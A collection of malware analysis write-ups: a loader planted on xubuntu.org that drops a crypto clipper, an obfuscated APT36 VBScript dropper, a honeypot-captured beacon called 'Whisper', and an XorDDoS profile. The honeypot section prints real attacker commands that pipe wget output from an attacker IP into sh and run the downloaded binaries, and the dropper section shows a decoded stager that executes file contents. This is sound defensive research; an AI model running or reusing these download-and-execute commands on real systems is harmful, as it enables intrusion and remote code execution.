SHA256: ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.
The sample I analyzed is available on abuse.ch

(Tip for readers: always verify hashes from a trusted source before interacting with a sample.)

After downloading the sample I inspected its file metadata. This sample is not a native Win32 executable with x86 code, it is a .NET assembly. You can usually spot that with file or by looking for the CLR header (IMAGE_COR20) in the PE.

PE32 executable for MS Windows (GUI), Intel i386 Mono/.Net assembly

Concretely: the PE contains managed CIL/IL (Intermediate Language) and only a tiny native stub whose entry point calls _CorExeMain() (from mscoree.dll) to bootstrap the CLR. That means tools like Ghidra will show only a stub at the PE entry (the real logic lives in CLR metadata streams such as #~, #Strings and #Blob) and will not produce decompiled C# by default.

This pattern is typical for C#-based loader/dropper families. They often present a legitimate UI (in this case “SafeDownloader”) but hide malicious actions such as:

  • anti-VM / anti-debug checks
  • writing/extracting an encrypted payload to disk
  • creating persistence via registry autostart entries

For analysis I use ILSpy to decompile the managed code, Ghidra only shows the PE boot stub; the real logic is in the managed metadata and IL.

I decompiled the sample using ILSpy (CLI) with:

~/.dotnet/tools/ilspycmd -o ./decomp_output ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.exe

Result:

ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.decompiled.cs

After decompilation we get the Decompiled C# files the code I used for analysis is available on my GitHub.

The program is a WPF GUI wrapper (SafeDownloader) that social-engineers the user by showing Ubuntu/Xubuntu ISO links. When the user clicks Generate, the app calls an internal routine (named W.UnPRslEqVw() in the decompiled code) that is the real malware routine executed in the background.


Malware behavior (detailed)


Anti-analysis & sandbox evasion.

The loader first performs anti-analysis checks:

  • Debugger detection: Debugger.IsAttached and native IsDebuggerPresent() via kernel32.
  • Virtualization detection: uses WMI (ManagementObjectSearcher) to query system manufacturer/model and looks for keywords such as VMware, VirtualBox, QEMU, Parallels, Microsoft Corporation (common in VM images).

If any probe indicates a debug/VM environment, the program calls Environment.Exit(0) and quits, preventing payload execution in sandboxes.


API patching / self-modification

Self-modification / in-memory API patching:

The code modifies bytes in loaded system libraries (e.g. kernel32.dll and ntdll.dll). One patch replaces instructions with 0xC3 (a RET) to neuter functions (for example to alter the behavior of Sleep/delay functions used by sandboxes).
Another patch wrtes attacker-supplied bytes (XOR-decrypted) into memory

This is effectively inline hooking / API patching and can alter the behavior of timing/registry functions or attempt to disable runtime hooks that monitoring software or AV products use.


Dropper

The loader drops a second-stage executable:

CreateDirectoryNative(text2);
WriteFileNative(text3, data);
MoveFileNative(text3, text4);
SetAttributesNative(..., attributes);
  • creates a folder under %APPDATA% (via Environment.SpecialFolder.ApplicationData),
  • writes a Base64-encoded blob (then XOR-decoded with key 0xF7) into a .tmp file,
  • renames the .tmp to .exe, and sets file attributes (hidden/system) via native calls.

These helpers correspond to CreateDirectory, CreateFile/WriteFile, MoveFile, and attribute-setting wrappers in the code.


Registry persistence

SetRegistryPersistence(text4, regPath);

The sample writes an autostart entry into the registry using low-level APIs (NtSetValueKey from ntdll and RegOpenKeyEx from advapi32) to store a randomly generated value name with the path to the dropped EXE. Because it writes directly via native system calls (instead of higher-level wrappers), this may be an attempt to confuse or bypass some detection mechanisms that watch common API usage.


Execution & single-instance check

Before launching the dropped executable the loader checks whether a process with the same name is already running. If it is not, the loader starts the dropped binary, this avoids multiple simultaneous instances.


UI deception

The WPF UI displays legitimate Ubuntu download links to build trust. The user sees nothing suspicious while the loader writes the payload to disk, establishes persistence, and executes the dropped binary in the background.


Extracting and decoding the dropped payload

As we can see here, there is another Base64-encoded and XOR-obfuscated payload (XOR key = 247 / 0xF7) stored in the variable data:

I exported the Base64 blob to dropper_isolated.b64 and decoded + XOR-decoded it with:

python3 -c 'import base64; import sys; data = base64.b64decode(open("dropper_isolated.b64").read()); data = bytes([b ^ 0xF7 for b in data]); open("payload.bin","wb").write(data)'

The result payload.bin is a new PE native executable (x86 machine code), not a .NET assembly

I uploaded that binary to VirusTotal for a quick scan:

VirusTotal flags the payload as malicious and indicates that it is a cryptocurrency clipper, malware that monitors the Windows clipboard for crypto wallet addresses and replaces them with attacker-owned addresses so funds are redirected to the attacker’s wallet. With this classification we can pivot to a deeper static analysis (I used Ghidra for the native PE).

The native binary is small and relatively easy to analyze:

A quick strings scan shows clipboard-related APIs (OpenClipboard, GetClipboardData, SetClipboardData) a stronng indicator of clipper behavior.

A quick strings scan shows clipboard-related APIs (OpenClipboard, GetClipboardData, SetClipboardData) a strong indicator of clipper behavior.
I navigated to the function that implements these calls (named FUN_1400016b0 in my Ghidra session).


Clipboard routine overview.
The function reads the Windows clipboard:

  • opens the clipboard and calls GetClipboardData(CF_TEXT),
  • validates that the clipboard bytes are text and contain only characters typical for wallet addresses (alphanumeric, : or _)
  • then performs prefix checks to identify the coin type.

Prefix checks & coin type mapping.
The malware performs a series of prefix checks to detect the wallet type. From the decompiled logic the mapping is:

Bitcoin:
(*pcVar4 - 0x31U & 0xfd) == 0 oder strncmp(pcVar4, &DAT_140004034, 3)` | (1 / 3...)

Litecoin:
strncmp(pcVar4, &DAT_14000402c, 4) oder (*pcVar4 + 0xb4U) < 2

ETH:
strncmp(pcVar4, &DAT_140004028, 2) → "0x"

DOGE:
cVar1 == 'D'

TRON:
cVar1 == 'T'

XRP:
cVar1 == 'r'

Where to find the addresses:

For each coin type the malware assembles the attacker’s address from two parts:

  • several 32-bit constants (_DAT_140004100, _DAT_140004104, …)
    eight 4-byte words = 32 ASCII characters (little-endian dword representation)
  • a short tail derived by XOR-ing bytes taken from another data blob (e.g. DAT_0x1400031c0) with 0x15
    The tail length varies (commonly 2–10 bytes depending on coin), and it completes the address (including checksum)


You can verify a single dword with Python:

python3 -c "import struct; print(struct.pack('<I', 0x71316362).decode('ascii'))"

The result:

bc1q

So the first dword decodes to bc1q, the signature prefix of a Bech32 Bitcoin address.

This is how i build the tail by merging the byte chunks:

The 32-character string obtained from the dwords is only the first part. The function then computes additional tail bytes by XOR-ing bytes from a separate data region (e.g. DAT_1400031c0) with 0x15 and appends them.
Those tail bytes complete the address (including checksum).
If you only decode the dwords, the address will fail checksum validation, you must XOR-decode and append the tail bytes to get a valid address.


Full address assembly (summary)
The malware writes eight 32-bit constants (32 ASCII chars) and then fills a small tail array with bytes computed as DAT_src[i] ^ 0x15 (tail length varies). The full address is dword_ascii + xor_tail.
It then GlobalAllocs a clipboard buffer and calls SetClipboardData(CF_TEXT, ...) to replace the clipboard contents.



To recover the tail bytes:

dump the bytes at the VA (e.g. 0x1400031c0) with a binary tool (I used radare2; you can also use Ghidra or xxd), for example:

76 78 25 2D 60 64 7D 23 25 63 

XOR each raw byte with 0x15 (the deobfuscation key embedded in the code). You can do this in CyberChef: From Hex -> XOR (key: 15 hex) -> To String.

Output:

cm08uqh60v

Appending that to the 32-char dword string yields the full Bech32 address:

bc1qrzh7d0yy8c3arqxc23twkjujxxax + cm08uqh60v = bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v

I applied the same method to other coin branches and extracted the following attacker addresses from the binary.

Extracted addresses:
I applied the same method to other coin branches and extracted the following attacker addresses from the binary:

  • Bitcoin (Bech32): bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v
  • Litecoin: LQ4B4aJqUH92BgtDseWxiCRn45Q8eHzTkH
  • Ethereum / BSC style (hex): 0x10A8B2e2790879FFCdE514DdE615b4732312252D
  • Dogecoin: DQzrwvUJTXBxAbYiynzACLntrY4i9mMs7D
  • Tron (TRX): TW93HYbyptRYsXj1rkHWyVUpps2anK12hg
  • XRP (Ripple): r9vQFVwRxSkpFavwA9HefPFkWaWBQxy4pU
  • Cardano: addr1q9atfml5cew4hx0z09xu7mj7fazv445z4xyr5gtqh6c9p4r6knhlf3jatwv7y72deah9un6yettg92vg8gskp04s2r2qren6tw

These are the final wallet addresses embedded in this sample (per the static reconstruction). I didn’t find any additional interesting functionality in the binary beyond the dropper/clipper behavior.


TL;DR

I found a C# WPF loader distributed via an Xubuntu download page that drops a native clipper payload.
The loader includes anti-VM and anti-debug checks, in-memory API patching, drops and runs a second-stage PE, and the second stage is a clipboard clipper that replaces wallet addresses with attacker-owned addresses.
I statically reconstructed the attacker wallets from embedded dwords + XOR tails and found several addresses for BTC, LTC, ETH, DOGE, TRX, XRP and Cardano. No transactions were observed at the time of analysis.


A short critique; why the threat actor did a surprisingly poor job despite compromising xubuntu.org

It’s striking how many basic operational security and quality of work mistakes this actor made, mistakes that turned what could have been a high-impact supply-chain compromise into a relatively easy forensic win for analysts.

Concrete failures observed

  • Amateur packaging: shipping a ZIP that claims to contain a torrent but actually contains an .exe and a tos.txt is a glaring red flag. That mismatched user experience (and the presence of an executable in a “torrent” download) makes the payload obvious to even casual users and automated scanners.
  • Sloppy metadata: the tos.txt claims “© 2026 Xubuntu.org” while it’s 2025. Small details like anachronistic timestamps or incorrect copyright years are low-effort giveaways that something is off.
  • Poor obfuscation / easy static recovery: the attacker embedded wallet strings as readable dwords plus simple XOR tails. Those artifacts were trivially reconstructable with basic tooling (radare2/CyberChef/Python). Even the XOR keyss were visible in the decompiled code. That means the malicious addresses, the primary goal of the clipper were recoverable without dynamic execution.
  • Malformed or inconsistent artifacts: some extracted addresses failed checksum validation (or appeared intentionally malformed). That suggests rushed assembly, faulty encoding, or placeholders left in again lowering the bar for detection and denying the attacker guaranteed success.
  • Over-reliance on a single trick: using a compromised site to host a ZIP is effective in general, but the actor did not sufficiently hide operational traces nor build fallback delivery strategies. When defenders inspected the file, the entire chain unraveled quickly.

Why these mistakes matter

  • They reduced the attacker’s window of opportunity. Instead of a stealthy supply-chain drop that could reap long-lived infections, the compromise was noisy and trivially triaged.
  • They made attribution and indicator extraction easy: embedded addresses, simple XOR keys, and clear code paths gave analysts immediate IoCs (wallets, hashes, strings).
  • They increased the chances of swift remediation by the vendor and faster takedown by infrastructure providers.

Final thought
The actor clearly reached a valuable target, the official download infrastructure, but their execution quality was low. That combination (high opportunity + poor tradecraft) is exactly what defenders want: an incident with high signal and relatively low analytical cost. The silver lining here is that sloppy attackers give security teams the evidence they need to respond quickly and to harden distribution chains for the future.

APT36 – “Abaris” Deobfuscating VB Dropper


I recently discovered a sample attributed to the threat actor APT36 (“Transparent Tribe”) on MalwareBazaar.
APT36 (aka Transparent Tribe) is a Pakistan-aligned cyber-espionage group that has been active since at least 2013 and is primarily focused on intelligence collection against targets in South Asia (government, military, diplomatic and research organizations in India and Afghanistan)
The group is known for tailored phishing campaigns and diverse staging techniques (weaponized documents, malicious installers and platform-specific lures), and has a history of delivering custom backdoors and RAT families such as variants of Crimson/Eliza-style malware.
Recently observed activity shows the actor expanding its toolset and delivery methods (including Linux desktop-lures and cloud-hosted payloads), which underlines the need to treat seemingly innocuous artifacts (obfuscated scripts, shortcut files, or odd AppData/Temp files) as potentially dangerous.


The sample turned out to be a heavily obfuscated VBScript. In this post I will walk through the manual deobfuscation steps I performed.
The SHA256 hash of the file is “d35f88dce5dcd7a1a10c05c2feba1cf478bdb8a65144f788112542949c36dd87”

I first uploaded the file to virustotal. It has been uploaded the first time yesterday (18th of October 2025).
Some AV systems already detect the file as malicious.

(note: I call this sample “Abaris” because the dropper decodes part of its payload and writes it into a file named Abaris.txt, which is later used for execution.)

If you want to download the sample or my cleaned copy, you can find them here: https://github.com/Mr128Bit/apt-malware-samples/tree/main/Pakistan/APT36/Abaris

Original filename: Pak_Afghan_War_Impact_on_Northern_Border_India.vbs. I made a copy and renamed it to ap3.vbs for analysis.

When opening the file, you immediately notice a lot of Danish-looking comments/words scattered through the source. These are purely noise, they are there to hinder analysis and evade signature detection. But underneath the noise we can still find Visual Basic constructs that we want to extract.


We can filter out those comment lines very easily.

grep -v "^'" apt33.vbs | sed '/^[[:space:]]*$/d' > apt33_clean.vbs

The output looks much cleaner now, clear VB structures are visible, although the script remains heavily obfuscated.

The next step is to remove additional noise by deleting variables or code blocks that are only used in initialization and never referenced later.

After cleanup, the following code remains:

This is already much tidier. We identified three functions of interest: Crocodilite, Subskribenten, and Cashoo. They are small and not deeply obfuscated, so we can determine their purpose fairly quickly. It’s often useful at this stage to rename obfuscated variables and functions to meaningful names.

Crocodilite

This function creates a text file and writes the passed string into it. In this sample it is used to write the content of the variable tendrilous into Abaris.txt.

' ORIGINAL
Sub Crocodilite(Tudemiklens, Fissuriform)

    Dim Sinh, Galactometer
    Set Sinh = CreateObject("Scripting.FileSystemObject")
    Set Galactometer = Sinh.CreateTextFile(Fissuriform, True)
    Galactometer.Write Tudemiklens
    Galactometer.Close

End Sub
' ADJUSTED
Sub write_to_file(text, path)
    Dim fileSysObj, file
    Set fileSysObj = CreateObject("Scripting.FileSystemObject")
    Set file = fileSysObj.CreateTextFile(path, True)
    file.Write text
    file.Close

Subskribenten

This is a simple wrapper that executes a command via WScript.Shell. It’s used to invoke the payload that was written to disk.

' ORIGINAL
Set Plenicorn = CreateObject("WScript.Shell")
...
Function Subskribenten(Tautegorical)

    Call Plenicorn.Run(Tautegorical,0)

End Function

' ADJUSTED
Set shell = CreateObject("WScript.Shell")
...
Function Execute(payload)
    Call shell.Run(payload,0)

Cashoo

A decoder routine. It extracts characters at fixed intervals from a masking string (i.e. it removes padding characters and reconstructs the hidden string). This is a classic technique to hide URLs, commands or other sensitive strings from static signature scanners.

' ORIGINAL
Function Cashoo(ByVal Microsphaeric)

    for i = 4 to len(Text) Step 4
    ' Mid(string, start, length) extract a specified amount of characters from a string
    Cashoo = Cashoo & Mid(Text,i,Alenlang) 

    Next


End Function

' ADJUSTED
Function ExtractEveryFourthChar(ByVal Text)

    for i = 4 to len(Text) Step 4
    ' Mid(string, start, length) extract a specified amount of characters from a string
    ExtractEveryFourthChar = ExtractEveryFourthChar & Mid(Text,i,Alenlang) 

    Next


End Function


I implemented a Python equivalent to decode the payload. After I finished the script I fed several encoded strings from the VB file through it.
Additionally i loaded every string found for the variable “tendrilous” into a separate file “tendrilous.txt” for decoding purposes.
You can view the script here.

Result:

$Commonplacer=[char]34;
$Rasping=$env:tmp;
$Unbefringed=gc $Rasping\Abaris.txt -Delimiter $Commonplacer;
$Emydes=$Unbefringed.'substring'(4696-1,3);
.$Emydes $Unbefringed

The Python routine works as intended: it reads Abaris.txt, extracts a three-character command name from a specific offset, and would invoke that command with the file content as parameter i.e., dynamic code execution.

I also implemented a Python equivalent for this routine; the script is available in the repository.

After running my script, the payload output looks like this:

At first glance the output looks nasty, but it can be disentangled. Don’t panic. I applied line breaks and indentation in the right places to make control flow and function calls visible.

To make the code more readable I used the following commands:

sed -i 's/;\$/;\n\$/g' "$1"
sed -i 's/;Cenogenesis/;\nCenogenesis/g' "$1"
sed -i 's/{/{\n/g' "$1"
sed -i 's/}/\n}\n/g' "$1"
sed -i 's/;function/;\nfunction/g' "$1"
sed -i 's/;while/;\nwhile/g' "$1"

The result now looks much more promising:

There is still some noise embedded in a few places. We also discovered repeated calls to the Roberts function with additional encoded strings. I wrote a Python helper to extract those strings from the file and decode them with the same Roberts / Cashoo logic.

When we run that pipeline and merge the output under the previous deobfuscated view, we obtain the following consolidated result:

Final Script

This is the final deobfuscated dropper script. From it we can conclude the following:

  • The script repeatedly attempts to download a remote file from a suspicious URL and save it locally.
  • Once the file is available, it reads parts of it, Base64-decodes contained data, and reconstructs executable PowerShell code.
  • Finally, it executes that decoded code dynamically (via dot-sourcing / Invoke-Expression style execution).
    This is a classic loader / bootstrapper pattern for delivering secondary stages of malware.

There are some formatting glitches in the decompiled output that likely arose during processing, but the overall intent is clear.

The dropper notably points at hxxps[://]zohmailcloud[.]com//cloud/Assholes[.]psm as one of the remote payload locations. I could not retrieve the file, the URL is no longer reachable but I did find a Twitter post referencing the file with MD5 7a5fe1af036b6dba35695e6d4f5cc80f.

If I manage to acquire the remote artifact later, I will write a dedicated follow-up article with a full 2nd-stage analysis.


Whisper – Interesting Sandbox evasion?


In the past few days I found something fairly interesting in my sandbox. An attacker attempted to install malware, and the initial analysis led me a bit irritated. The attacker used several techniques to prevent delivering the payload to sandboxes. In this post I only show excerpts; I also published a repository on GitHub that contains the full artifacts.

Quick overview of the key facts:

Affected service: SSH
Honeypot: Cowrie
Attacker IP: 31.170.22.205
Commands executed: (see snippet below)

wget -qO- http://31.170.22.205/dl401 | sh
wget -qO- http://31.170.22.205/dl402 | sh
wget -qO- http://31.170.22.205/dl403 | sh
wget -qO- http://31.170.22.205/dl404 | sh
wget -qO- http://31.170.22.205/dl405 | sh
wget -qO- http://31.170.22.205/dl406 | sh
wget -qO- http://31.170.22.205/dl407 | sh
wget -qO- http://31.170.22.205/dl408 | sh

The attacker tried to download a shell script. It looks like this:

cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv5
chmod +x whisper.armv5
./whisper.armv5 410
cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv6
chmod +x whisper.armv6
./whisper.armv6 410
[...]


The script downloads several binaries, sets execute permissions on them, and then runs them. I tried to download those binaries myself and, oddly, every file had the exact same hash. Inspecting the file metadata revealed they are Windows executables.

I uploaded the file to VirusTotal for a quick look.

The file turned out to be Microsoft’s calc.exe, the standard Windows Calculator app. We can verify this by computing the file hash of calc.exe on a Windows machine:

That gives us confirmation. Since the attacker had already registered with our honeypot, I then attempted to download the files from the honeypot IP, which worked as expected. The attacker deliberately prevents his actual payloads from being easily analyzed by serving them only to selected targets.

Here’s a table of the downloaded binaries (click to open)

You can download them for analysis purposes here.

filenamesha256
whisper.aarch645f7dff5b5bdc2a12506cfb771e94b6ea26fec8a78f65cf927f361a39322036f4
whisper.aarch64be7a2af6f8c55bfc6d0bb259b4df37641cfb0dc9a1c94e0955784cfd9b34dc08ef
whisper.arcle750dc92038d168aa088997ea982aadf1d455ac4bc89332916a576117273610f3069f
whisper.arclehs383611fb87865bd967b6a1b2c3450e68cec14ec90abd9a790147e1544896e7b624
whisper.armv458189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f
whisper.armv51d51c313c929d64c5ebe8a5e89c28ac3e74b75698ded47d1bc1b0660adc12595
whisper.armv690bf143a03e0cb6686c32a8a77dbdad6a314a16b7991823f45f7d9cb22ba51bc
whisper.armv72679b37532e176d63c48953cb9549d48feb76f076222cb6502034b0f72ca7db1
whisper.i686326952154ef5a81c819d67f9408e866af5fe2cdb3024df3ef1d650a9932da469
whisper.m68k0f1fd9f0a99693ec551f7eb93b3247b682cb624211a3b0c9de111a8367745268
whisper.mipsd37b334ec94b56236dc008108d4a9189019f1849fb010dcf08cfcf1a7d199b53
whisper.mips641afcdc3210b47356a0f59eeffbc2f7be22c1dd7aa2cc541c0eb20db29da8280e
whisper.mips64lefa96cf3b0022711627b97d569f0c6e28cfd62e7051fdce3f0165f8dd5c4ec760
whisper.mips64len3231f781726cc8cfc002b847fc0f05a7e28ebecea95f5a03b1cdeb63cce3e9ed8c
whisper.mips64n323615d10d1ef6e57b66aa653b158cd8d57166d69cbc4c90c2b7b9dd29820fcc64
whisper.mipsleb4658234a5c300bce3fe410a55fc87a59e4be7d46f948eaff389c4c16016afaa
whisper.powerpc440fpff08d2c7f8b5679add11dd4a297dd40a0d597e92e307ccd9c0d36366b59e3c6f
whisper.powerpc64e5500af7893318f1fe0d60cff62dbebe434e5f8c42bf1b338db23858177e880894574
whisper.powerpc64e65007234970698fab486e210a65aa2a3d3daebd3eebcf4bf016e9670fa725c07d76a
whisper.powerpc64lepower890f5ccd40e0f737eb40dcf292f202c7c70f1cdc2d33bd6718c0b286007f3ce24
whisper.powerpc64power8938205ed2f664fc330e20580799445182ba840672ef8bd75ae7629e07a460a79
whisper.powerpce300c3b2b811bbfe06d0edba85e0b0d42dbffb3714dee5bdd44426a1cb4589874d3234
whisper.powerpce500mcc43f32a066112fd87f43895515d27116e40688ae47b02ce0a5b379672830a136
whisper.riscv3261db3883d792b518450a4a67cfaa4d14baec59239a967ffb30c7a116a39f00e6
whisper.riscv641a60918639c961f6814f4dc74751a926361841b66c837d544697be1d3f42594e
whisper.sh43ac847bc1351ea5275d30cf9186caf607021d7f1da1a4cafeff6886b87844f36
whisper.sparc9033caaa07477bbed8ccd9f130fd8353a81143db44555b734ed1547ef368a8dd
whisper.sparc6400a290ee2458e38a0ec78be1414f651612c51831ff741cb40d5c6a11b29a6d7c
whisper.x644dd0005c6e6d4eca722ed02fec17a689828754a66a107272c5cd62f2fec478e1

For my analysis I’ll focus on the file whisper.x64.


It’s a stripped ELF binary, a binary that has had debugging symbols and symbol names removed. That makes analysis a bit harder, but not impossible. First step: upload the file to VirusTotal.

This was the first submission of the file on VirusTotal, so there is no historical data. Several scanners flagged the binary as a DDoS agent. To find out what it actually does at runtime, I opened it in Ghidra and started looking at functions. First I checked the strings embedded in the binary.


Already we can see some interesting strings, for example:

DEFINED0040a000s_31.170.22.205_0040a000ds “31.170.22.205”“31.170.22.205”string14false
DEFINED0040a012s_/add.php?v=%u&a=%s&o=%u&e=%u_0040a012ds “/add.php?v=%u&a=%s&o=%u&e=%u”“/add.php?v=%u&a=%s&o=%u&e=%u”string29false
DEFINED0040a050s_/ping.php?v=%u&a=%s&e=%u&c=%u_0040a050ds “/ping.php?v=%u&a=%s&e=%u&c=%u”“/ping.php?v=%u&a=%s&e=%u&c=%u”string30true

From these strings we can infer a few capabilities:

  • add.php: registers the client at the C2 server
  • ping.php: sends a ping / heartbeat to the C2 server

Next I examine syscalls to get a clearer picture of the binary’s behavior.
If you want to get an overview of x64 syscalls, you can find them here.

0x31 is the syscall number for sys_bind, so we can infer socket-related functionality. I renamed the function to socket_bind in Ghidra (right-click > Rename Function) and then checked the incoming calls to see where it is used.

After jumping to function FUN_004012b1 we see the following code:

To bind a socket via syscall we need to look at the sockaddr_in layout for x64:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

Offset 0 (2 bytes): sin_family (2 / AF_INET)
Offset 2 (2 bytes): sin_port – this is where param_1 lands
Offset 4 (4 bytes): sin_addr – here it’s 0 (INADDR_ANY)

So local_28 corresponds to sin_family, local_24 to sin_addr, and local_26 to sin_port. I renamed the variables accordingly and gave the function the name create_socket.

FUN_004036d3 likely creates the socket. We can confirm that by searching inside it for syscall 0x29 (which is sys_socket). That matches, I renamed that function and fleshed out the code.

This confirms our assumption, so I can also give this function a name and complete the code as far as possible.

We still didn’t know which port this socket uses, so I looked at incoming references and found it’s called only from FUN_00401020.

That function is invoked right after the entry point, it’s effectively main. From the line iVar2 = create_socket(0x5d15); we can infer the port. 0x5d15 in the binary is not the final port number: it’s an unsigned short that gets converted with htons from host byte order to network byte order.

whisper > printf "%d\n" $(( ((0x5d15 & 0xff) << 8) | ((0x5d15 >> 8) & 0xff) ))
5469

You can convert it in bash or compute by hand: because htons swaps the two bytes on little-endian hosts, 0x5d15 becomes 0x155d, which is 5469 in decimal. This is a common pattern used, for example, to avoid running two copies of the malware, but it could also be used as a communication channel. To check that, I searched for the sys_listen syscall (0x32). There is no listen syscall in the binary, so it’s safe to assume this is an execution lock rather than a listening server. The decompiled code also confirms this.

iVar2 is the return status of the socket creation; if iVar2 == -1 socket creation failed and the program exits.

Now let’s look more closely at the block of code that follows a successful socket creation. I’ll skip FUN_0040123 and FUN_00401246 because they only initialize and destroy a buffer, they don’t add relevant functionality.

To understand the logic I examined four helper functions: FUN_0040120a, FUN_004013c6, FUN_004014e2, and FUN_00404634. I started with FUN_00404634 because it has the most incoming references.

This one is most likely a sleep function. If param_1 == 0 nothing happens, that’s typical for sleep wrappers. If param_1 != 0, the routine calls into the kernel through several helper calls and performs a timed wait.

Inside it calls FUN_00404f1f(0x11, 0, local_28), that’s a wrapper for a syscall. The parameter 0x11 is the syscall we care about; on x86-64 that’s sys_rt_sigtimedwait. rt_sigtimedwait lets you wait for signals with a timeout, so the code can sleep while still being able to respond to signals (from another thread, an IPC, or a realtime signal). Many analysis and monitoring tools hook libc sleep functions like nanosleep(); by using direct syscalls the malware can bypass those hooks and make runtime analysis harder.

After that the code performs what looks like a timer or remaining-time check, it computes elapsed time or remaining time and returns that value. I renamed this helper to sleep for clarity.


FUN_0040120a

FUN_0040120a uses syscall 0xc9, which is a time-related syscall. The function measures elapsed time across a 10-second delay, a typical sandbox-evasion trick. The code checks the difference and only executes the following block if the delta indicates the sleep actually occurred. I renamed this to time_passed_check.


FUN_004013c6

FUN_004013c6 is straightforward: it performs a GET request to the C2’s add.php. That is the client registration step. The GET parameters v, a, o, and e map roughly as follows:

  • v: fixed value
  • a: CPU architecture (agent string)
  • o: fixed value
  • e: the value passed to the binary at execution time

I renamed the function to add_client.


FUN_004014e2

The last function, FUN_004014e2, is similar to add_client. It sends a ping to the C2 server and returns a boolean indicating success or failure. I renamed it ping_cnc.

I’ve now analyzed and named all four helper functions used by FUN_0040125c.
Here’s the result:

Step-by-step:

First, the binary checks the result of the time-check. If that check passes, it registers the client with the C2.

Afterwards, the binary pings the C2 server every 300 seconds. The loop contains a counter that runs 576 iterations in total. The full runtime is therefore limited to exactly 48 hours (300 * 576 = 172,800 seconds = 48 hours). I named the overall routine add_and_ping.

Looking into the main function, we now have a structure that ties everything together:

Note: I intentionally didn’t discuss every single helper; I renamed the lesser functions for clarity but didn’t dig into those that aren’t relevant to this write-up.


Conclusion

The binary’s functionality is limited. On startup it runs a time-difference check designed to detect sandboxing, using sys_rt_sigtimedwait to make sleep detection harder. If the sample concludes the timing check is okay, it registers with the C2 and then pings the C2 every five minutes for 48 hours. This is a beacon-only sample with no additional backdoor capabilities in the analyzed build.

Interpretations

Because the attacker used multiple techniques to keep their real binaries out of standard analysis, this likely serves as a sandbox-evasion measure. The operator can watch the incoming pings from infected machines and, after confirming persistent, consistent check-ins over the 48-hour window, choose targets for a follow-up payload deployment. That prevents premature sandboxing and analysis of the actual payloads.

An argument against that theory is the lack of any attempt to establish persistent access in this sample, that would make later deployment harder if defenders notice and block the operation early.

Another hypothesis is that the operator collects telemetry to detect whether the binary is being detected and if it survives for a desired runtime. That would explain the lack of persistence attempts, but I consider this less likely because there are more efficient ways to perform that kind of telemetry.

References:

XORDDoS


Malware Name / Type

  • Name: XorDDoS (aka XOR DDoS)
  • Type: Linux Trojan / DDoS botnet (rootkit-capable)

Quick Summary

  • First Seen / Known Since: First publicly reported in 2014 (discovered by MalwareMustDie).
  • Primary Targets / Industries: Linux servers, cloud instances, IoT devices, and container/Docker hosts.
  • Geographic Focus: Global; historically heavy activity in Asia and frequent targeting of US-based infrastructure in recent waves.

Infection & Distribution

  • Common Delivery Vectors: SSH brute-force / credential compromise, automated scanning of exposed services, malicious scripts dropped after initial access.
  • Initial Access Methods: Brute-force or stolen SSH credentials, exploitation of exposed management interfaces, automated deployment scripts.

Technical Characteristics

  • Platform / Language: Multi-architecture Linux ELF binaries (x86, x64, ARM); often accompanied by shell scripts for installation.
  • Persistence Mechanisms: Multiple-install-step approach including installing rootkit components, cron/jobs, service wrappers and use of scripts to re-deploy persistence across reboots.
  • Command & Control (C2): Encrypted communications often using simple XOR-based obfuscation; C2 infrastructure has evolved and includes resilient controller nodes and domain/IP patterns.
  • Capabilities: High-capacity volumetric DDoS (various UDP/TCP/HTTP flood techniques), remote command execution, bot management, and sometimes lateral scanning for new victims.
  • Evasion Techniques: XOR obfuscation of strings/traffic, rootkit hiding to conceal files/processes, multi-stage installers that complicate detection and attribution.

Notable Campaigns / Incidents

  • Historic wave (2014–2015): Large brute-force campaigns that initially brought XorDDoS to light.
  • Resurgence / recent waves (2019–2025): Periodic resurgences with improved controllers and infrastructure; researchers documented a notable wave and new controller activity between late 2023 and early 2025.

Impact Assessment

  • Damage Potential: Medium to High. Primarily contributes to large-scale DDoS campaigns; infected hosts are turned into bots and can cause significant service disruption or be rented/sold for DDoS-for-hire.
  • Typical Victim Impact: Service downtime, increased bandwidth costs, potential secondary compromises if credentials are reused.

Indicators & Artifacts


Detection & Mitigation

  • Detection Tips: Monitor for high outbound DDoS traffic, sudden SSH login failures/successes (brute-force patterns), unexpected long-running ELF processes, hidden files/modules, and unusual cron/service entries.
  • Immediate Mitigation Steps: Isolate infected hosts from network, revoke SSH keys/passwords, rotate credentials, remove malicious persistence, patch exposed services, and restore from known-good images if rootkit compromise suspected.
  • Longer-term Recommendations: Harden SSH (disable password auth, use keys with MFA, rate-limit/geo-block where possible), apply least-privilege, enable host-based monitoring/EPP with rootkit detection, block known C2 domains/IPs at perimeter, and maintain IR playbooks for botnet infections.

WriteUp & Useful Resources